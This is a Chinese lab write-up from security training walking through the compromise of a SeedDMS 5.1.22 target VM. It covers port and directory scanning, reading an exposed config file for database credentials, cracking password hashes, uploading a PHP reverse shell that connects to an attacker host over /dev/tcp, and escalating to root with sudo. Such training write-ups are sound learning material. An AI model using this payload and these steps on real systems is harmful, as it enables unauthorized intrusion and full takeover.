❀本篇关于信息安全实训时靶场训练的操作笔记。
零、环境准备
靶机及kali虚拟机可在如下链接中获取:
https://pan.baidu.com/s/1lEpAl-rM9utxcuOMde5_YA?pwd=kid8
一、 收集信息
-
探测目标靶机的IP地址
-
获取靶机开放端口
nmap 192.168.149.0/24 -v
可以看到192.168.149.142开放了80、3306端口
接下来查看具体端口信息:nmap -p- -sV 192.168.149.142
可看到80端口和3306数据库端口均开放。知道他是靶机ip。 -
访问192.168.149.142:80,发现是一个内容网站
访问192.168.149.142:3306
-
扫描目录dirsearch -u http://192.168.149.142/
以此访问图中显示的路径,未找到有用的信息。 -
在网页源码调用的js中发现http://192.168.149.142/js/main.js该路径,访问发现这句话和路径:
//make sure this js file is same as installed app on our server endpoint: /seeddms51x/seeddms-5.1.22/
-
访问该路径http://192.168.149.142/seeddms51x/seeddms-5.1.22/,发现是SeedDMS的登录口。
同时得到版本是5.1.22的信息:
-
在网上搜索SeedDMS信息,查看该系统的文件目录获取更多信息。
查看 目录树:https://sourceforge.net/p/seeddms/code/ci/5.1.22/tree/,发现有一个conf配置文件。Conf文件包含服务器的配置,多存在敏感信息
点击conf
查看settings.xml.template,发现该文件中要求写入数据库信息,从中可得mysql账号和密码
-
访问setting.xml:http://192.168.149.142/seeddms51x/conf/settings.xml。可看到默认数据库账户和用户名。
-
使用Navicat for MySQL,成功登入。
(1)在seeddms数据库的users表中,看到存了个用户和密码
Saket:fad47f2f6b1752602ded932fe1bff65e。使用破解网站得到:
(2)在tblUsers表中还有个admin用户
admin:e10adc3949ba59abbe56e057f20f883e
使用破解网站,解开得到密码为:123456
二、 渗透
-
访问http://192.168.149.142/seeddms51x/seeddms-5.1.22/ 。使用admin:123456登录
成功登入
有个“添加文档”的功能可以上传文档,考虑上传php的反弹shell -
先在VPS开启端口监听
-
可以使用在线反弹 shell 生成工具:https://forum.ywhack.com/reverse-shell/,复制红框里的内容保存在本地为 1.php
也可以直接创建1.php文件后输入:
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.149.145/1234 0>&1'");?>
-
点击“添加文档”按钮,上传1.php
点击“添加”后,页面显示空白
但是返回首页时,发现是成功上传了的
-
文件上传成功,需要获取路径,此版本存在文件上传漏洞:Exploithttps://www.exploit-db.com/exploits/47022,
-
绝对路径为http://192.168.149.142/seeddms51x/data/1048576/dir 号/1.php,通过数据库的 tblDocumentContent 表里发现了上传的文件确定 dir 号。Dir为13。
-
打开 VPS 的监听,然后再浏览器访问此路径的 php 文件:http://192.168.149.142/seeddms51x/data/1048576/13/1.php
-
使用命令 python3 -c "import pty; pty.spawn(‘/bin/bash’)"得到一个稳定的 shell
三、 提权
-
进入 home 文件夹查看,发现有 saket 的文件
-
users 表中存在 saket 账户,因此切换用户到 saket,密码为:202219jk
-
sudo -l 查看可以执行的所有权限
-
运行直接使用 sudo su, 得到 root 权限
-
查看/root/flag
-
根据提示,使用Navicat for MySQL创建表iam